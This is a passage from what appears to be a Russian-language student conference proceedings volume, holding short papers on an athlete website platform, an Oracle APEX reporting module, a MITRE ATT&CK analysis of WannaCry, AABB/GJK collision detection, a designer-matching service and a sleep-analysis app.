монстрировать профессиональные достижения, публиковать эксклюзивный контент и 
устанавливать прямую связь с аудиторией, минуя ограничения социальных сетей. В ре-
зультате исследования разработано веб-приложение на основе современных техноло-
гий (React, Next.js, Node.js, PostgreSQL), обеспечивающее интуитивно понятное управ-
ление контентом, адаптивный дизайн и высокую производительность. Ключевые ре-
зультаты: создана платформа, которая позволяет спортсменам формировать уникаль-
ный цифровой имидж, привлекать спонсоров и выстраивать долгосрочные отношения с 
фанатами. 
Abstract. The article focuses on the development of a web application for creating a personal 
website for athletes. The aim of the study is to provide a solution that effectively showcases 
professional achievements, publishes exclusive content, and establishes direct communication 
with the audience, bypassing the limitations of social networks. As a result of the research, a 
web application based on modern technologies (React, Next.js, Node.js, PostgreSQL) has 
been developed, offering intuitive content management, adaptive design, and high perfor-
mance. Key outcomes include a platform that enables athletes to build a unique digital pres-
ence, attract sponsors, and foster long-term fan engagement. 
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Ключевые слова: персональный сайт, проектирование, веб-приложение, веб-
технологии, брендинг 
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В современном цифровом мире персональный брендинг становится очень важ-
ным в профессиональном успехе спортсмена. В условиях, когда социальные сети пред-
лагают стандартизированные и ограниченные инструменты самопрезентации создание, 
создание персонального сайта открывает новые возможности для демонстрации дости-
жений, публикации в нем эксклюзивного контента и установление прямого контакта с 
аудиторией фанатов. Актуальность данной работы обусловлена растущей потребно-
стью спортсменов в приложении, которое позволило бы им полностью контролировать 
свой имидж, привлекать внимание потенциальных спонсоров и выстраивать долго-
срочные отношения с поклонниками, минуя ограничения социальных сетей, где кон-
тент «живет» на чужой платформе, сайт дает полный суверенитет и возможности для 
долгосрочного взаимодействия с аудиторией на своих условиях. 

Целью работы является разработка концепции и реализация веб-приложения, 
которое предоставит спортсмену простой и эффективный инструмент для создания 
профессионального цифрового присутствия. Особое внимание уделяется интуитивно 
понятному интерфейсу и системе управления контентом, позволяющим обновлять ин-
формацию без особого труда. Анализ существующих решений показал, что большин-
ство доступных платформ либо очень сложные для освоения, либо не учитывают спе-
цифические потребности спортивной индустрии. В данном работе предлагается сбалан-
сированный подход, который сочетает минималистический дизайн с функционально-
стью, достаточной для решения всех ключевых задач персонального брендинга. Реали-
зация проекта осуществляется с использованием современных веб-технологий. Для ре-
ализации этого решения был выбран современный стек технологий, который может 
похвастаться высокой производительностью и удобством использования. 

Выбранный стек технологий: 
- Frontend – React [1] с Next.js [2] для быстрой загрузки и создания адаптивного 

интерфейса, автоматической оптимизации изображений и встроенному роутингу. 
- Backend - Node.js для удобной работы с данными. 
- СУБД – PostgreSQL [3] как надежная реляционная база данных для сложных 

запросов и хорошей масштабируемостью, с использованием Prisma ORM [4] для типо-
безопасного доступа к данным. 

- Стилизация – для гибкого дизайна с использованием переменных, миксинов и 
других продвинутых возможностей CSS-препроцессора. 

- Развертывание – Docker для контейнеризации приложения, что обеспечивает 
одинаковое поведение на всех средах и упрощает деплой. 

- Хостинг – Vercel как оптимальная платформа для хостинга Next.js-
приложений с автоматическим CI/CD, мгновенным масштабированием и глобальным 
CDN. При разработке архитектуры применялись принципы объектно-
ориентированного проектирования из работы Гаммы и др. [5]. 

Разработанное решение предлагает альтернативу стандартизированным плат-
формам и социальным сетям, предоставляя персональную среду для самопрезентации. 

Ключевой особенностью приложения является его адаптивность – интерфейс 
подстраивается под индивидуальные потребности пользователя, позволяя акцентиро-
вать внимание на наиболее значимых аспектах профессиональной деятельности. Ми-
нималистический и понятный дизайн веб-приложения фокусируется на самом содер-
жании, исключая визуальный шум и избыточные элементы, характерные для социаль-
ных сетей. 
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Технические преимущества: 
- мгновенная загрузка контента благодаря оптимизированному стеку; 
- простота масштабирования при росте потребностей, за счет архитектурных 

особенностей Next.js; 
- надежное хранение данных; 
- легкость дальнейшего развития функциональности. 
В отличие от обычных социальных сетей, персональный сайт позволяет создать 

уникальный цифровой образ, отражающий индивидуальность атлета. Минималистич-
ный, но выразительный дизайн делает фокус на самом важном – новостях и профессио-
нальной траектории спортсмена. 

Техническая реализация обеспечивает мгновенную загрузку контента и беспере-
бойную работу персонального сайта. Благодаря этому спортсмен может быть уверен, 
что его новости и достижения в спорте будут доступны аудитории в любой момент. 

Особое внимание уделено простоте управления и интерфейсу. Интуитивно по-
нятная админ-панель позволяет самостоятельно обновлять и изменять контент без осо-
бого труда. При этом система сохраняет свою гибкость для будущего расширения 
функциональности. 

Используемые технологии обеспечивают надежность и перспективы развития 
решения, оставаясь при этом «за кадром» для конечного пользователя. Самое главное 
это понятный удобность интерфейса, выразительность и эффективность цифрового 
представления спортивной карьеры. 

Преимущества выбранного технологического стека: 
- позволяет быстро реализовать рабочую версию; 
- обеспечивает стабильность под нагрузкой; 
- дает свободу для будущих изменений; 
- поддерживается большим сообществом; 
- оптимизирует затраты на хостинг; 
- Vercel предоставляет возможность для быстрого развертывания с автоматиче-

ским масштабированием в зависимости от трафика, что идеально подходит для персо-
нального сайта. 

Проведенная работа позволила создать эффективное решение для цифровой са-
мопрезентации спортсмена, полностью соответствующее поставленным целям. Разра-
ботанная платформа успешно преодолевает ограничения социальных сетей, предостав-
ляя спортсмену полноценный контроль над своим цифровым имиджем. Авторам уда-
лось доказать, что сочетание современных веб-технологий с продуманным пользова-
тельским интерфейсом позволяет создать инструмент, одновременно мощный в функ-
циональном плане и простой в использовании. Ключевым достижением работы стало 
создание целостной экосистемы для профессиональной самопрезентации, где адаптив-
ный дизайн органично сочетается с интуитивным управлением контентом. Особую 
ценность представляет реализованная возможность самостоятельного обновления ин-
формации без необходимости технических знаний, что делает платформу действитель-
но доступной для целевой аудитории. Платформа будет «домом» для спортсмена, там, 
где формируется его профессиональный имидж, устанавливаются связи с фанатами и 
потенциальными партнерами. Это не просто инструмент, а полноценная экосистема для 
спортивного роста в наше время. Результаты работы имеют важное прикладное значе-
ние, демонстрируя новые подходы к цифровой самопрезентации в спорте. Разработан-
ное решение открывает возможности для более осмысленного и эффективного управ-
ления онлайн-присутствием, что особенно ценно в условиях растущей конкуренции за 
внимание аудитории. 
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РАЗРАБОТКА МОДУЛЯ ОТЧЁТНОСТИ «ЗАГОТОВКА» 
ДЛЯ ПРОИЗВОДСТЕННОГО ПРЕДПРИЯТИЯ 
 
DEVELOPMENT OF THE REPORTING MODULE «BLANK»  
FOR A MANUFACTURING ENTERPRISE 
 
Аннотация. Статья посвящена вопросу снижения временных затрат при поиске инфор-
мации путём разработки модуля отчётности на платформе «Oracle APEX». Цель иссле-
дования – разработка модуля отчётности «Заготовка», с помощью которого появится 
возможность оценивать статистику по созданным спискам централизованного раскроя 
(СЦР) и заготовкам, определять принадлежность к цеху, статус подписания. Предметом 
исследования является реализация отчёта «Заготовка», связанного с модулем «СЦР». 
Модуль отчётности позволит автоматизировать поиск данных об объектах заготовки 
благодаря фильтрам сортировки, а графики позволят проводить аналитические рассуж-
дения. Работа заключается в поэтапном создании модуля отчётности, упрощающего 
работу за счёт автоматизации рутинных операций, что позволит быстро просматривать 
нужную информацию и принимать оперативные решения, при этом экономя время. 
Модуль отчётности разработан в полной мере и сократил временные затраты с 130 се-
кунд до 20 секунд. 
Abstract. The article is devoted to the issue of reducing the time spent on information retrieval 
by developing a reporting module on the Oracle APEX platform. The purpose of the study is 
to develop the "Blank" reporting module, which will make it possible to evaluate statistics on 
the created lists of centralized cutting and blanks, determine shop affiliation, and signature 
status. The subject of the research is the implementation of the "Blank" report related to the 
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"SDG" module. The parity module will automate the search for data about the objects of the 
workpiece thanks to sorting filters, and graphs will allow for analytical reasoning. The work 
consists in step-by-step creation of a reporting module that simplifies work by automating 
routine operations, which will allow you to quickly view the necessary information and make 
operational decisions, while saving time. The parity module has been fully developed and has 
reduced time costs from 130 seconds to 20 seconds. 
Ключевые слова: модуль отчётности, автоматизация поиска данных, веб-отчёты, 
workspace apex, модуль «Заготовка». 
Key words: reporting module, automation of data retrieval, web reports, workspace apex, 
«Blank» module. 

 
Веб-отчёты являются удобным инструментом для просмотра каких-либо сгруп-

пированных итоговых данных с любого браузера, без установки дополнительного про-
граммного обеспечения (ПО), что делает их быстрым способом получения информа-
ции. Такими отчётами могут пользоваться как рядовые сотрудники, так и руководите-
ли, что делает их универсальным средством повышения эффективности работы. Авто-
матизация процесса поиска необходимой информации позволяет экономить рабочее 
время сотрудников. Такого отчёта «Заготовка» ещё не существует, и он бы существен-
но сократил затраты времени сотрудников. Именно поэтому задача разработки модуля 
отчётности «Заготовка» является актуальной. Целью разработки модуля отчётности яв-
ляется снижение финансовых и временных потерь, возникающих в процессе поиска не-
обходимых объектов заготовки. Тема разработана в полной мере. 

На производственном предприятии используется платформа «Teamcenter 10», 
как основная информационная система управления данными на протяжении жизненно-
го цикла изделия [Ошибка! Источник ссылки не найден.]. Также развёрнута плат-
форма «Oracle APEX» для создания веб-отчётов [Ошибка! Источник ссылки не 
найден.]. Множество отчётов уже разработано, однако периодически ещё возникает их 
нехватка. Поэтому решение о создании отчётов принимается по мере необходимости. В 
этих условиях актуальной является реализация отчёта «Заготовка», связанного с моду-
лем «СЦР». Главным образом, с помощью этого отчёта появится возможность быстро 
просматривать какие объекты заготовки были созданы с помощью СЦР, а какие нет. 
Также появится возможность быстро просматривать все расширенные параметры элек-
тронных объектов. Данный отчёт актуален тем, что информация об электронных объек-
тах хранится в ПО Teamcenter, который очень тяжеловесный, а отчёт можно открывать 
с браузера без установки ПО. Это полезно руководителям, специфика деятельности ко-
торых, не связана с работой в Teamcenter, им необходима только информация оттуда в 
обработанном виде, то есть отчёты. Также такого отчёта ещё не существует, и он бы 
существенно сократил затраты времени сотрудников.  

Платформа «Teamcenter» не позволяет получать данные напрямую, необходимо 
использовать специальное API. Также были доработаны и созданы следующие компо-
ненты: 

- разработали модуль на базе серверного API «Teamcenter» для закачки данных 
по рассматриваемым объектам в промежуточную базу данных [Ошибка! Источник 
ссылки не найден.]; 

- написали SQL-запросы на выборку, соединения таблиц [Ошибка! Источник 
ссылки не найден., Ошибка! Источник ссылки не найден.]; 

- разработали веб-страницы на платформе «Oracle APEX workspace» с табли-
цами, фильтрами, графиками; 

- доработали утилиту по выкачке объектов из ПО «Teamcenter» в специальное 
хранилище на базе СУБД Oracle. 
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Таким образом, были созданы и запрограммированы два веб-отчёта «Заготовка» 
и «СЦР» (рисунки 1, 2). На рисунках показан вид отчётов в браузере.  

На рисунке 1 показано, что веб-страница включает две вкладки «Данные о заго-
товках» и «Итог по изделиям». На первой вкладке хранится таблица с фильтрами, на 
второй – график с фильтрами. Фильтры осуществляют поиск по сайтам, номеру карты 
эскиза заготовки, материалу, группе владельца и владельцу при нажатии соответству-
ющей кнопки. Можно выбрать любые фильтры и нажать кнопку «Применить», тогда 
страница обновится и на экран будут выведены найденные результаты. 

 
Рисунок 1 – Вид отчёта «Заготовка»  

На рисунке 2 показан связанный с отчётом «Заготовка» отчёт «СЦР». Переход 
между отчётами осуществляется по ссылкам, которые в таблице отмечены синим цве-
том или лупой. Что касается графиков, они также осуществляют поиск по всем 
фильтрам и плавно перестраиваются по кнопке «Обновить» (без обновления страницы). 
На рисунке 3 представлен график отчёта «Заготовка». Данный график осуществлял 
поиск по некоторым фильтрам: сайтам, группе владельца и диапазону дат. Это 
необходимо для аналитической работы и принятия оперативных решений. 

На рисунке 4 представлен график отчёта «СЦР». Данный график осуществлял 
поиск по сайтам и диапазону дат. Графики необходимы для наглядного видения 
результатов и в последствии аналитической работы, принятия оперативных решений. 

 
Рисунок 2 – Вид отчёта «СЦР»  
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Рисунок 3 – Вид графика отчёта «Заготовка»  

 
Рисунок 4 – Вид графика отчёта «СЦР»  

В работе было выявлено, что внедрение модуля отчётности «Заготовка» на про-
изводственное предприятие повлекло разницу в сокращении временных затрат на 27,8 
часов в месяц. Такой эффект получен благодаря тому, что поиск заготовок в системе 
«Teamcenter» занимает в среднем 130 секунд, а с помощью разработанного веб-отчёта – 
всего 20 секунд. Данный отчёт позволяет избежать установку тяжеловесного ПО, а 
также благодаря автоматизации, предоставляют необходимую информацию в 6,5 раза 
быстрее. Цель данной работы можно считать выполненной. 
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Аннотация. В работе рассматривается применение фреймворка MITRE ATT&CK для 
моделирования киберугроз. Описывается структура фреймворка, принципы классифи-
кации техник злоумышленников, а также этапы построения модели угроз на его основе. 
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cyber threats. It describes the framework structure, the principles of classifying attacker tech-
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При растущих количестве кибератак и усложненных тактикой злоумышленни-

ков организациям необходимы не только технические средства защиты, но и эффектив-
ные аналитические инструменты, позволяющие разобраться в логике действия атаку-
ющих. Один из самых популярных подходов к анализу инцидентов – фреймворк 
MITRE ATT&CK, открытая база знаний, классифицирующая действия злоумышленни-
ков на основании реальных атак. Им можно организовать информацию о том, как во-
рваться, прижиться, разъезжать и делать опасные вещи. 

Сама тема крайне актуальна за счет того, что хочется отбиться за адекватное 
время и не для поиска сигнатур, а для поиска поведенческих признаков атаки. А еще 
это великолепное средство для идентификации слабых мест в системе защиты и 
настройки мониторящих средств, чтобы издавна отлавливать угрозы. 

Цель работы – продемонстрировать практическое применение матрицы MITRE 
ATT&CK для классификации действий вредителя на примере конкретного инцидента. 
В качестве объекта исследования выбран атака WannaCry – одна из самых известных и 
разрушительных атак с использованием шифровальщика, основанная на эксплуатации 
уязвимостей в протоколе SMB. На примере ее подробно рассматриваются соответству-
ющие тактики и техники MITRE ATT&CK, примененные злоумышленниками на каж-
дом этапе атак. 

MITRE ATT&CK – это открытая база знаний, в которой систематизировано по-
ведение злоумышленников на всех этапах кибератаки. Она была разработана американ-
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ской организацией MITRE в целях помощи специалистам по информационной безопас-
ности в анализе угроз, моделировании атак и выявлении уязвимых точек в защите. В 
отличие от традиционных классификаций вредоносного ПО, ATT&CK описывает не 
конкретные вирусы, а действия, которые предпринимают атакующие для достижения 
своих целей. 

Вся структура фреймворка делится на тактики, техники и подтехники: 
- Тактики представляют собой высокоуровневые цели атакующего (например, 

получение доступа, обход защиты, перемещение по сети, шифрование данных). 
- Техники описывают конкретные способы реализации этих целей (например, 

использование уязвимости или запуск скрипта). 
- Подтехники уточняют детали реализации, если техника может быть выполне-

на разными способами. 
Особенностью MITRE ATT&CK является то, что её наполнение базируется на 

анализе реальных инцидентов. Исследователи изучают поведение известных APT-
групп, отчёты компаний, сэмплы вредоносных программ и другие источники. На осно-
ве этих данных они классифицируют действия атакующих и включают их в матрицу в 
виде техник с соответствующими примерами. Это позволяет пользователям ATT&CK 
применять знания, подтверждённые практикой. 

Для практического применения MITRE ATT&CK в анализе инцидента можно 
выделить несколько ключевых шагов: 

1. Определение этапов атаки (тактик). Сначала устанавливаются цели атакую-
щего на разных этапах: как он попал в систему, каким образом получил привилегии, 
как перемещался по сети и чего добивался в финале. Эти цели соответствуют стандарт-
ным тактикам ATT&CK. 

2. Идентификация техник и подтехник. Далее фиксируются конкретные дей-
ствия злоумышленника и сопоставляются с подходящими техниками. Например, если 
использовалась уязвимость SMB – это будет техника Exploitation of Remote Services. 
Если запускалась команда через PowerShell – это Command and Scripting Interpreter. 

3. Анализ инструментов и программного обеспечения. При наличии информа-
ции о вредоносных инструментах (например, EternalBlue, Mimikatz, Cobalt Strike) мож-
но сопоставить их с конкретными техниками в базе ATT&CK, где они уже описаны. 

4. Построение полной цепочки атаки. После классификации техник они выстра-
иваются в хронологическую цепочку. Это позволяет понять логику атаки и выявить 
точки, где её можно было бы обнаружить или остановить. Такой подход особенно ва-
жен для построения систем обнаружения атак и проведения ретроспективного анализа. 

Таким образом, MITRE ATT&CK не просто даёт универсальный язык для опи-
сания атак, но и предоставляет методологию, с помощью которой можно анализировать 
даже сложные и многоэтапные инциденты. Это делает фреймворк полезным не только 
для аналитиков SOC, но и для исследователей, инженеров по защите и преподавателей 
в сфере ИБ. 

Применение MITRE ATT&CK на примере атаки WannaCry. Атака WannaCry, 
произошедшая в мае 2017 года, стала одним из самых масштабных эпизодов распро-
странения вымогательского программного обеспечения в истории. Вирус-
шифровальщик поразил сотни тысяч систем в более чем 150 странах, нарушив работу 
как частных компаний, так и государственных организаций. Среди пострадавших ока-
зались больницы, железнодорожные компании и телеком-операторы. Основной ущерб 
заключался не только в потере данных, но и в вынужденной приостановке критических 
процессов. 

В основе атаки лежало использование уязвимости в протоколе SMB (Server 
Message Block), известной как EternalBlue, которая позволяла вирусу распространяться 
по сети без участия пользователя. Кроме того, вредоносное ПО включало функцио-
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нальность шифрования данных с последующим требованием выкупа в криптовалюте 
[1]. Классификация атаки по матрице MITRE ATT&CK: 

1. Initial Access (начальный доступ). Technique: Exploit Public-Facing Application 
(T1190). Злоумышленники получили доступ к системам, эксплуатируя уязвимость 
SMBv1 (CVE-2017-0144). Это позволяло запустить вредоносный код удалённо, без 
необходимости взаимодействия с пользователем. 

2. Execution (исполнение). Technique: Command and Scripting Interpreter – Win-
dows Command Shell (T1059.003). После проникновения вредонос активировал загрузку 
и запуск основного модуля с помощью командной строки. 

3. Privilege Escalation (повышение привилегий). Technique: Exploitation for Privi-
lege Escalation (T1068). Вирус мог использовать уязвимости ОС для получения расши-
ренных прав, обеспечивая себе больший контроль над заражённой системой. 

4. Defense Evasion (уход от защиты). Technique: Obfuscated Files or Information 
(T1027). Некоторые компоненты были зашифрованы или замаскированы, чтобы за-
труднить их обнаружение антивирусным ПО и средствами анализа трафика. 

5. Credential Access (доступ к учетным данным). WannaCry не фокусировался на 
краже учётных данных, но мог использовать уже скомпрометированные привилегии 
для доступа к другим системам. 

6. Lateral Movement (горизонтальное перемещение). Technique: Exploitation of 
Remote Services (T1210). Используя ту же уязвимость SMB, вирус распространялся на 
другие машины внутри сети, действуя как червь и заражая уязвимые хосты. 

7. Impact (воздействие). Technique: Data Encrypted for Impact (T1486). Основной 
эффект атаки заключался в шифровании пользовательских файлов. Для восстановления 
данных злоумышленники требовали выкуп в биткоинах. 

Роль MITRE ATT&CK в анализе атаки. Применение матрицы позволяет деталь-
но реконструировать поведение вируса на каждом этапе. Это особенно ценно при рас-
следовании инцидентов, когда необходимо понять, как именно была скомпрометирова-
на система, какие шаги предпринял злоумышленник и в каких точках можно было бы 
остановить развитие атаки. С помощью MITRE ATT&CK специалисты могут выявить 
пробелы в защите, настроить средства обнаружения и выработать более точечные 
контрмеры [2]. 

В результате проделанной работы была рассмотрена структура и принципы 
функционирования фреймворка MITRE ATT&CK, а также проанализирована атака 
WannaCry с позиции классификации действий злоумышленника. Были выделены клю-
чевые тактики – от начального доступа до воздействия на систему – и установлены 
конкретные техники, применяемые на каждом этапе цепочки атаки. 

Проведённый анализ продемонстрировал, что использование MITRE ATT&CK 
позволяет не только формализовать поведение атакующего, но и выстроить логическую 
картину инцидента. Такая классификация облегчает задачу реагирования, позволяет 
выявить уязвимости в защите и повышает эффективность мониторинга. Применение 
данной методологии делает возможным системный подход к оценке и предотвращению 
киберугроз, а также служит полезным инструментом для специалистов в области ин-
формационной безопасности. 
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В результате проведённого исследования была разработана оптимизированная 

схема обнаружения столкновений, основанная на комбинированном использовании ал-
горитмов AABB и GJK. На первом этапе применяется алгоритм AABB, обладающий 
высокой скоростью и эффективностью, что позволяет на ранней стадии исключить объ-
екты, заведомо не находящиеся в состоянии пересечения. Для оставшихся, потенциаль-
но пересекающихся объектов используется более точный, но требующий больше вы-
числительных ресурсов алгоритм GJK. Такой комбинированный метод значительно по-
вышает как производительность, так и точность системы обнаружения столкновений 
[1]. Это способствует улучшению общего впечатления от игрового процесса, снижая 
вероятность ошибок и повышая реалистичность физики объектов. Более правдоподоб-
ное взаимодействие делает игровой мир более убедительным и увлекательным, что 
способствует погружению и удержанию внимания игроков, усиливая их интерес к про-
исходящему в игре. Такой подход повышает качество геймплея и способствует созда-
нию более глубокой эмоциональной связи между игроком и виртуальной средой, уве-
личивая общую вовлеченность в процесс. 
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Краткое описание математической модели алгоритмов GJK и AABB по обнару-
жению коллизий и пересечений объектов представлено ниже: 

1. Алгоритм GJK — один из наиболее эффективных и широко используемых ал-
горитмов для определения пересечений выпуклых тел в трёхмерном пространстве. Он 
основан на идее, что два выпуклых тела A и B пересекаются, если и только если начало 
координат содержится в разности Минковского этих тел:  

 C ൌ  A െ  B ൌ  ሼa െ  b | a ∈  A, b ∈  Bሽ (1) 
Таким образом, задача сводится к проверке, находится ли начало координат 

внутри множества C. Поскольку A и B — выпуклые тела, их разность Минковского 
также будет выпуклой, что делает задачу особенно удобной для обработки. 

Алгоритм итеративно строит симплекс — геометрическую фигуру (точка, отре-
зок, треугольник, тетраэдр), которая приближает множество C [2].  

На каждой итерации добавляется новая точка, вычисляемая как результат под-
держивающей функции (support function), которая возвращает наиболее удалённую в 
заданном направлении точку разности Минковского:  

𝑆𝑢𝑝𝑝𝑜𝑟𝑡ሺ𝑑ሻ ൌ 𝑎𝑟𝑔𝑚𝑎𝑥୶∈ିሺx  dሻ ൌ  argmaxୟ∈ሺa  dሻ െ argminୠ∈ሺb  dሻ (2) 
Затем алгоритм проверяет, находится ли начало внутри построенного симплекса, 

или в каком направлении нужно продолжить поиск. Если на какой-либо итерации ста-
новится ясно, что ближайшая точка симплекса к началу не приближается, и новый век-
тор поиска не даёт прогресса, алгоритм завершает работу, определяя, что пересечения 
нет. Если же начало оказывается внутри симплекса — пересечение подтверждено при-
мер представлен на рисунке 1. Дополнительно следует отметить, что при реализации 
GJK в трёхмерном пространстве используются методы линейной алгебры для анализа 
положения начала координат относительно текущего симплекса [3]. Если симплекс яв-
ляется отрезком, треугольником или тетраэдром, то производится проецирование век-
тора от вершины симплекса к началу координат на направления, перпендикулярные 
ребрам или граням, чтобы определить, в какую сторону следует продолжить построе-
ние симплекса. Реализация алгоритма требует построения вспомогательных функций 
для расчёта направлений поиска, а также функций для обновления симплекса в зависи-
мости от количества точек, содержащихся в нем на текущем шаге. Алгоритм завершает 
работу при наступлении одного из следующих условий: обнаружено включение начала 
координат в симплекс, либо вектор направления перестал изменяться, что указывает на 
отсутствие пересечения. 

 
Рисунок 1 – Пример алгоритма GJK с двумя типами столкновений 
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2. AABB — это простой и быстрый метод грубой фильтрации столкновений, ос-
нованный на использовании ограничивающих прямоугольников (в 2D) или параллеле-
пипедов (в 3D), стороны которых выровнены по осям координат. Такой ограничиваю-
щий объём описывается двумя точками: минимальной и максимальной по всем коор-
динатам: AABB = [min, max], где  
 min ൌ  ሺ𝑥, 𝑦, 𝑧ሻ, max ൌ  ሺ𝑥௫, 𝑦௫, 𝑧௫ሻ (3) 

Проверка на пересечение двух AABB сводится к простой проверке диапазонов 
по каждой оси пример представлен на рисунке 2. Два объёма пересекаются, если и 
только если для всех координат выполняется:  
  A. min   B. max и B. min    A. max, для i ൌ  x, y, z. (4) 

Существенным ограничением AABB является его чувствительность к повороту 
объектов. При вращении объекта его AABB изменяется, возможно значительно увели-
чиваясь, что снижает точность. 

Метод AABB используется на начальном этапе определения коллизий (так 
называемая «широкофазная» фильтрация, broad phase) для быстрого исключения объ-
ектов, не находящихся в потенциальной зоне столкновения. Это позволяет значительно 
сократить количество пар объектов, подлежащих более детальной проверке. 

Дополнительной особенностью AABB является его пригодность для построения 
иерархических структур, таких как BVH (Bounding Volume Hierarchy), которые позво-
ляют эффективно управлять большим количеством объектов в сцене. Каждый узел 
BVH содержит AABB, охватывающее дочерние объекты или группы объектов. При 
проверке коллизий сначала проверяются верхние уровни иерархии, что значительно 
ускоряет вычисления. 

Также важным аспектом является обновление AABB при движении объекта. В 
случае динамических сцен, где объекты перемещаются, AABB необходимо пересчиты-
вать после каждой трансформации. В целях оптимизации возможно использование 
расширенных AABB, включающих предсказанное движение объекта, что уменьшает 
необходимость частых пересчётов. 

Кроме того, AABB может быть использован в сочетании с другими методами, 
такими как GJK, где сначала проводится грубая фильтрация с помощью AABB, а затем 
— точная проверка с использованием более сложных алгоритмов. 

 
Рисунок 2 – Расположение осей инструмента в пространстве 

В результате ранее предложенной гипотезы будет сформирована математическая 
модель обнаружения коллизий и пересечений объектов, основанная на комбинировании 
описанных математических моделей алгоритмов AABB и GJK. Это позволит повысить 
производительность системы, уменьшить вычислительные затраты и обеспечить более 
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точное и надёжное определение столкновений в виртуальной среде. Такая оптимизация 
улучшит качество физического взаимодействия объектов, повысит реализм происхо-
дящего и общее качество игрового процесса. 
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Аннотация. Данный проект посвящен разработке веб-приложения для эффективного 
подбора специалистов в области дизайна интерьеров и архитектуры. Цель работы – со-
здание удобной платформы, обеспечивающей автоматизированный поиск исполните-
лей с учетом индивидуальных требований заказчиков. В ходе исследования проанали-
зированы существующие решения, определены ключевые функциональные требования, 
разработана архитектура системы и спроектирована база данных. Ожидаемый резуль-
тат – удобный сервис, позволяющий заказчикам находить квалифицированных специа-
листов и контролировать выполнение работ. 
Abstract. This project is dedicated to the development of the web application for the efficient 
selection of specialists in the field of interior design and architecture. The goal is to create a 
user-friendly platform that provides automated search for professionals based on customers' 
individual requirements. The study analyzes existing solutions, defines key functional re-
quirements, develops system architecture, and designs a database. The expected outcome is a 
convenient service that enables customers to find qualified specialists and monitor the execu-
tion of work. 
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В современном мире эффективная организация и управление проектами в сфере 
дизайна интерьеров и архитектуры играют ключевую роль в успешной реализации 
творческих идей. Ошибки на этапах подбора специалистов или контроля за выполнени-
ем работ могут привести к задержкам, увеличению затрат и снижению качества конеч-
ного результата. Существует множество платформ, предлагающих услуги по подбору 
дизайнеров и сопровождению проектов, однако не все из них способны учитывать ин-
дивидуальные потребности клиентов и обеспечивать персонализированный подход. 
Рассматривая существующие решения, стоит обратить внимание на лидеров в этой об-
ласти, таких как profi [1] и houzz [2]. Несмотря на их позиции на рынке, данные плат-
формы не всегда могут удовлетворить потребности всех клиентов из-за специфики 
проектов и отсутствия необходимости в избыточном функционале. Целью работы явля-
ется создание удобной платформы, обеспечивающей автоматизированный поиск ис-
полнителей с учетом индивидуальных требований заказчиков. 

В сфере подбора специалистов и управления проектами в дизайне интерьеров и 
архитектуры существует множество онлайн-платформ, каждая из которых предлагает 
уникальные возможности для клиентов и профессионалов. Рассмотрим две из них: 
Profi.ru [1] и Houzz.ru [2].  

Profi.ru – российская онлайн-платформа, соединяющая клиентов с профессиона-
лами в различных областях, включая дизайн интерьеров [1]. 

Основные возможности: a) поиск специалистов: платформа позволяет клиентам 
находить и выбирать профессионалов на основе их профилей, отзывов и рейтингов; б) 
система отзывов: клиенты могут оставлять отзывы о выполненных работах, что помо-
гает другим пользователям принимать обоснованные решения при выборе специалиста.  

Достоинства: а) широкий выбор профессионалов: большая база данных специа-
листов в различных областях; б) прозрачность: наличие отзывов и рейтингов помогает 
клиентам делать информированный выбор.  

Недостатки: а) ограниченная специализация: платформа охватывает множество 
сфер, что может затруднить поиск узкоспециализированных исполнителей; б) трудный 
самостоятельный поиск для заказчика с малым количеством опыта: заказчик должен 
сам писать исполнителям, несмотря на опыт в данной сфере. это может привести к вы-
бору недобросовестного исполнителя; в) платный функционал для коммуникации с 
подрядчиками. 

Houzz.ru – международная платформа, специализирующаяся на дизайне интерь-
еров, архитектуре и благоустройстве дома [2].  

Основные возможности: a) галерея идей: более 25 миллионов фотографий инте-
рьеров и экстерьеров для вдохновения; б) поиск профессионалов: возможность нахо-
дить дизайнеров, архитекторов и других специалистов с подробными профилями и 
портфолио. в) магазин товаров: платформа предлагает раздел для покупки мебели и де-
кора.  

Достоинства: а) специализация: фокус на дизайне и архитектуре обеспечивает 
высокое качество контента и профессионалов; б) интерактивность: пользователи могут 
создавать альбомы идей, оставлять комментарии и взаимодействовать с профессиона-
лами.  

Недостатки: а) трудный самостоятельный поиск для заказчика с малым количе-
ством опыта: заказчик должен сам писать исполнителям, несмотря на опыт в сфере ди-
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зайна интерьера. это может привести к выбору недобросовестного исполнителя; б) 
международный фокус: некоторые представленные идеи и товары могут быть недо-
ступны в определенных регионах. 

Назначение платформ заключается в оптимизации взаимодействия между кли-
ентами и профессионалами в сфере дизайна интерьеров и архитектуры. Платформа 
предоставляет возможность подбора специалистов, контроля качества выполняемых 
работ и обеспечения соответствия ожиданиям клиентов.  

Цель разработки – создание интуитивно понятной и настраиваемой платформы, 
которая позволяет клиентам легко находить подходящих специалистов, а профессиона-
лам – эффективно управлять своими проектами и взаимодействовать с заказчиками. 

Объект автоматизации представляет собой процесс сбора информации данных о 
задачи путем заполнения заявки, которая будет отправляться к администратору для ее 
обработки. Клиент может создать заявку, заполнив нужные поля, а позже отслеживать 
в личном кабинете продвижение поиска исполнителя под критерии заявки. Админи-
стратор может изменить статус заявки при помощи выбора претендентов и отправки их 
на согласование к заказчику, где будет выбран конкретный исполнитель. После всего 
администратор соединяет данного заказчика и выбранного исполнителя (рисунок 1).  

Для реализации платформы использованы современные веб-технологии: Next.ts, 
Nest.ts, MongoDB. 

 
Рисунок 1 - Диаграмма последовательности  

В ходе разработки платформы был проведен тщательный анализ и определены 
ключевые требования для создания сервиса, который предоставляет пользователям 
возможность легко и эффективно подбирать дизайнеров интерьеров и архитекторов, а 
также управлять проектами в этой сфере. Основная цель заключается в создании ин-
струмента, обеспечивающего гибкость и настройку процессов в соответствии с уни-
кальными потребностями и предпочтениями клиентов 
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ПРОЕКТИРОВАНИЕ ВЕБ-ПРИЛОЖЕНИЯ ДЛЯ АНАЛИЗА СНА 
 
DESIGNING A WEB APPLICATION FOR SLEEP ANALYSIS 
 
Аннотация. В статье рассматривается процесс проектирования веб-приложения «Sleepy» 
для анализа и коррекции режима сна с учётом параметров пользователя. Цель работы в 
создании системы, которая с помощью современных технологий и искусственного ин-
теллекта помогла бы пользователям просматривать их статистику сна и получить понят-
ные советы. В процессе разработки была создана BPMN-диаграмма, чтобы показать, как 
пользователь взаимодействует с приложением, и ER-диаграмма, чтобы представить 
структуру базы данных. На данный момент приложение имеет базовый функционал, но в 
будущем планируется его расширение для большего удобства и пользы. 
Abstract. The article deals with process of developing a web application «Sleepy» for analyz-
ing and correcting the sleep mode with taking into account the parameters of the user. The 
aim of the work is to create a system that with help of modern technologies and artificial intel-
